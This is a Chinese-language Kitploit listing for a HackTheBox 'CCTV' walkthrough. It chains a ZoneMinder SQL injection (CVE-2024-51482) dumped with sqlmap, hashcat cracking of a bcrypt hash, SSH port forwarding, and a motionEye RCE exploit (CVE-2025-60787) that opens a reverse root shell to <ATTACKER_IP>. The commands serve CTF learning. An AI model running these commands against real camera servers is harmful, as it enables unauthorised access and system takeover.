Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ledksv/cctv
密码破解权限提升漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践
GitHubledksv/cctv

cctv

HackTheBox CCTV 演练:串联 CVE-2024-51482 ZoneMinder SQL 注入、bcrypt 哈希破解以及 CVE-2025-60787 motionEye RCE 以获取 root 权限。

10小时51分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CCTV — HackTheBox 演练

平台: HackTheBox | 操作系统: Linux

攻击链

通过 CVE-2024-51482 对 ZoneMinder 进行 SQL 注入,从数据库中导出 bcrypt 哈希。使用 hashcat 破解后获得 SSH 访问权限。通过端口转发暴露的内部 motionEye 实例存在 CVE-2025-60787 漏洞——可获取 root shell。

枚举

root@kitploit:~
nmap -sV -sC 10.129.53.160 -Pn

22/tcp open  ssh     OpenSSH 9.6p1 (Ubuntu)
80/tcp open  http    Apache 2.4.58 — SecureVision CCTV & Security Solutions

将 cctv.htb 添加到 /etc/hosts。80 端口托管了一个 ZoneMinder 安装实例。

CVE-2024-51482 — ZoneMinder SQL 注入

CVE-2024-51482 是 ZoneMinder 登录端点中的一个 SQL 注入漏洞。username 参数未经过滤,允许提取数据库内容。

root@kitploit:~
sqlmap -u "http://cctv.htb/zm/index.php" \
  --data="username=admin&password=admin&action=login" \
  --dbms=mysql --dump --batch

从 users 表中提取了一个 bcrypt 密码哈希。

哈希破解

root@kitploit:~
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

密码已破解。

SSH 立足点

root@kitploit:~
ssh <user>@10.129.53.160

获取了 user flag。检查了内部服务。

root@kitploit:~
ss -tlnp
# 127.0.0.1:8765 — motionEye CCTV management panel

转发了该端口。

root@kitploit:~
ssh -L 8765:127.0.0.1:8765 <user>@10.129.53.160

CVE-2025-60787 — motionEye RCE

CVE-2025-60787 是 motionEye 中的一个经过身份验证的 RCE 漏洞。在能够访问内部面板的情况下,可以以 root 身份执行任意命令。

root@kitploit:~
nc -lvnp 4444
python3 exploit_CVE-2025-60787.py --url http://127.0.0.1:8765 --lhost <ATTACKER_IP> --lport 4444

获取了 root shell。Root flag 位于 /root/root.txt。


仅供教育目的使用。仅测试您拥有或已获得明确许可进行测试的系统。

下载工具